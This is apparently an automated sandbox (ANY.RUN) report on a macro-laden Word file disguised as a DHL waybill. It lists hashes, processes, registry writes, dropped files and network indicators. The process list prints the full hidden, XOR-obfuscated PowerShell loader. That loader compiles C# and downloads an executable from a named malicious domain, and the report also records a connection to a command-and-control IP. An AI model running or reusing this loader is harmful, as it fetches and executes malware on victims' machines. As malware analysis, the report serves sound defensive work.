File name:

DHL_WayBillReturn059958.doc

Full analysis: https://app.any.run/tasks/080d65fa-c27f-49ab-aa39-5dca6d415775
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: August 13, 2019, 15:06:55
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
opendir
loader
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

BBD8D348EFA9E1FB69D6B03C1DE27115

SHA1:

12B862D56B9A92D01DF38C71EC28259E5D6A1FE4

SHA256:

209A547F1C9680E0359B553CA657E0EDC423D81EECBF041D476FF2AED8BA79B4

SSDEEP:

768:nI5J7Yc7rYb1P2FH0HRpSqV7WiZP68vHsJglm9V7eakw6Lp:8+pPDIW68fsJgY9VTH6Lp

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Downloads executable files from the Internet

      • powershell.exe (PID: 4052)
    • Starts Visual C# compiler

      • powershell.exe (PID: 4052)
    • Application was dropped or rewritten from another process

      • dc889a.exe (PID: 1484)
      • dc889a.exe (PID: 3592)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 4052)
      • cmd.exe (PID: 1748)
    • PowerShell script executed

      • powershell.exe (PID: 4052)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 4052)
    • Starts CMD.EXE for commands execution

      • dc889a.exe (PID: 1484)
    • Executed via WMI

      • powershell.exe (PID: 4052)
    • Application launched itself

      • dc889a.exe (PID: 1484)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2780)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2780)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docm | Word Microsoft Office Open XML Format document (with Macro) (53.6)
.docx | Word Microsoft Office Open XML Format document (24.2)
.zip | Open Packaging Conventions container (18)
.zip | ZIP compressed archive (4.1)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0xabd647f7
ZipCompressedSize: 410
ZipUncompressedSize: 1618
ZipFileName: [Content_Types].xml

XML

Template: Normal.dotm
TotalEditTime: -
Pages: 1
Words: -
Characters: -
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: -
ScaleCrop: No
LinksUpToDate: No
CharactersWithSpaces: -
SharedDoc: No
HyperlinksChanged: No
AppVersion: 16
Keywords: -
LastModifiedBy: -
RevisionNumber: 1
CreateDate: 2019:08:12 06:48:00Z
ModifyDate: 2019:08:12 06:48:00Z

XMP

Title: -
Subject: -
Creator: -
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
7
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs powershell.exe csc.exe cvtres.exe no specs dc889a.exe no specs cmd.exe no specs dc889a.exe

Process information

PID
CMD
Path
Indicators
Parent process
1484"C:\Users\admin\AppData\Roaming\dc889a.exe" C:\Users\admin\AppData\Roaming\dc889a.exepowershell.exe
User:
admin
Company:
ivagedegetewoduyeq
Integrity Level:
MEDIUM
Description:
oraqonufuj
Exit code:
0
Version:
6.9.12.15
Modules
Images
c:\users\admin\appdata\roaming\dc889a.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
1748"C:\Windows\System32\cmd.exe" /C type nul > "C:\Users\admin\AppData\Roaming\dc889a.exe:Zone.Identifier"C:\Windows\System32\cmd.exedc889a.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2780"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\DHL_WayBillReturn059958.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3592C:\Users\admin\AppData\Roaming\dc889a.exeC:\Users\admin\AppData\Roaming\dc889a.exe
dc889a.exe
User:
admin
Company:
ivagedegetewoduyeq
Integrity Level:
MEDIUM
Description:
oraqonufuj
Exit code:
0
Version:
6.9.12.15
Modules
Images
c:\users\admin\appdata\roaming\dc889a.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\advapi32.dll
3752C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESCB97.tmp" "c:\Users\admin\AppData\Local\Temp\CSCCB96.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.execsc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\cvtres.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cryptsp.dll
3844"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\ljk67iy3.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\csc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
4052powershell -WindowStyle Hidden function m33f231 { param($e9ff848) $j18228 = 'cc3c4cd';$caa4b8f = ''; for ($i = 0; $i -lt $e9ff848.length; $i+=2) { $t6f89b = [convert]::ToByte($e9ff848.Substring($i, 2), 16); $caa4b8f += [char]($t6f89b -bxor $j18228[($i / 2) % $j18228.length]); } return $caa4b8f; } $w95173f = '16105a0d5343371a104706595811100a5d0414301d1017560e1a31110d175a0e514d2d0d1756115b13370611450a5706175816400a5a0444301a4017510e4a270a52045a0c17170a50100f16170a0d5443671a1717065e4d7d2c5f16105a0d5343371a104706594d2a0617086e3e1311010f5a00140008021040435c520605554838700f082a0e430c46174c410856115a06085051114f710d10111a630c5d0d105e4174064033160c0072075011011010114a69431416015f0a5743171702470a5743011b1756115a432d0d176317464317550506551c2a0a17334711140d5656075156504f1717115a0d5343050551505506004d5838770f582a09130c41171c410f06115d06585056414f13265a17161a335c0a5a17445e43112f5b02002f0a511155111d414a6e434416060f0a5043471705170a5043511b1006115d437d0d1033174143465053015752571c1010110a5d041419515a070b01034a5f38275f0f7d0e140c11474b160801110d560f0751464f43760d40111d330c5a0d405e46350a411741020833115c17510010414a6e434416060f0a5043471705170a5043511b1006115d43560c0b0f434155065650514b7a0d40331011435e51035552054f662a5a17341711130b550102074f13165d0d10431a00555255524f435c164043110a0d47435951010151574a0f38200f0f7a0e440c16174b112851110a060f00511a07080f411f43710d10111a630c5d0d105e416117582e0b15067e06590c161a411f436706102f0240177111160c110e05550f17064a6e43471705170a5043511b1006115d43420c0d07435d5b56565d554b7a0d4033101143505607505356001f2a5a17341711131303520051021f0a5a17440657505a554a5f1316510f5d0044101752175d00440a0d4743455500075657571c4a1f2a0d47334011440e05045b520502435e13110754065702074b595057055100521c41545153565704530552020354045b5405411a4a0f0a024b0e55540c0502055e0e2a5a173417111d3951110b4a18540c400c440e56515005525f1e2a5d17641716430e0656005001515e40555256524b0e55540c0502054f5e5007055650521b4106515406570353555553535303560407565257055301565653550255164a4d580a554b59565157505651095e2d0d176317464d3e06115c4a4f040b170c130e0101575252081e612a0a173347111405005401555e1c362d0d176317464a5158165a0d40430e0000050606075953585a051c421655510657064b095656075051514805070401524f541b57034f5b161043095000020656074a1a18530c100c435e5656505552584e214d1701383e130f52565d51070e18041b57524f031b520548531b0a5349582d0d17631746431451500050005e290211400b550f4a220f5f0c572b230f0c5102584b574a587e0246100c020f1d205b131d4b0f55560d51004f531f1306505750571f501d580a5b01065a024b0a0614132a5a173417111b0e0156505006014d600c2d0d1705571c4a4f531b035305014d4f1301500750504f501a585956065052025914340101205f0a510d10430902015755005e0d561414340101205f0a510d104b4a081040110d0d04131b06565652060e265a150d110c5d0e510d104d245617720c080706413355170c4b265d155d110b0d0e560d404d371306500a550f220c0f5706464d2513135f0a5702100a0c5d275517054a48113f6807075b5b0a021648095050555107524c415757530257065355114a0f0955010005071a270b140d5f0c5507220a0f564b595057055100521c4154015204570352575306070000015454530b52515255565407070454540053565257535d57540700060155015207560253505655035704015007530557565352414a1f1b06565652061a5864110b0006401067170511177a0d520c440b060b50565e0a06141333460c0706104030400216172a5d055b4b1c51560152514a5f33115c005110174d30470246174c0b060b50564a5f11064716460d4453584e134101080a0013104002100a00131040110d0d04130e0750025150024b4717160a0d54434c5b5d50061a184717160a0d54435a51510701060709410700505057570746581047115d0d0343110054565705575e6017460a0a044d760e44171d58055c111c0a0a17435a5e04580d5f1b0b5a07064a2f065d04400b5f0a480e511d18061a17564347550256550e205b0d120611474d600c261a17564b4c5b5d50061d3041011717115a0d534b0d4f511a4f05554d5811005456570557480e4b570b05114a1b1002055155436d435a5151070106076f4b0d4c511a4311430a5156570101074a2f065d04400b394a584e11511711110d131107540657020758491e'; $w95173f2 = m33f231($w95173f); Add-Type -TypeDefinition $w95173f2; [h1bf6]::q6dd5d4(); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
2 006
Read events
1 314
Write events
687
Delete events
5

Modification events

(PID) Process:(2780) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:8">
Value:
38223E00DC0A0000010000000000000000000000
(PID) Process:(2780) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2780) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2780) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1326252062
(PID) Process:(2780) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1326252176
(PID) Process:(2780) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1326252177
(PID) Process:(2780) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
DC0A000008EBB7C5E851D50100000000
(PID) Process:(2780) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:q#>
Value:
71233E00DC0A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2780) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:q#>
Value:
71233E00DC0A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2780) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
1
Suspicious files
2
Text files
2
Unknown types
3

Dropped files

PID
Process
Filename
Type
2780WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRBE38.tmp.cvr
MD5:
SHA256:
4052powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S2F8KBQCMZIHJ4XYSK7O.temp
MD5:
SHA256:
3844csc.exeC:\Users\admin\AppData\Local\Temp\CSCCB96.tmp
MD5:
SHA256:
3844csc.exeC:\Users\admin\AppData\Local\Temp\ljk67iy3.pdb
MD5:
SHA256:
3752cvtres.exeC:\Users\admin\AppData\Local\Temp\RESCB97.tmp
MD5:
SHA256:
3844csc.exeC:\Users\admin\AppData\Local\Temp\ljk67iy3.dll
MD5:
SHA256:
3844csc.exeC:\Users\admin\AppData\Local\Temp\ljk67iy3.out
MD5:
SHA256:
2780WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$L_WayBillReturn059958.docpgc
MD5:
SHA256:
2780WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5F2E5ECA.emfemf
MD5:
SHA256:
4052powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF36c83b.TMPbinary
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
4
DNS requests
2
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4052
powershell.exe
GET
200
162.144.12.172:80
http://dk-rc.com/js/Oxwegbgo.exe
US
executable
295 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4052
powershell.exe
162.144.12.172:80
dk-rc.com
Unified Layer
US
suspicious
3592
dc889a.exe
185.244.31.253:4040
malicious

DNS requests

Domain
IP
Reputation
dk-rc.com
  • 162.144.12.172
malicious

Threats

PID
Process
Class
Message
4052
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4052
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144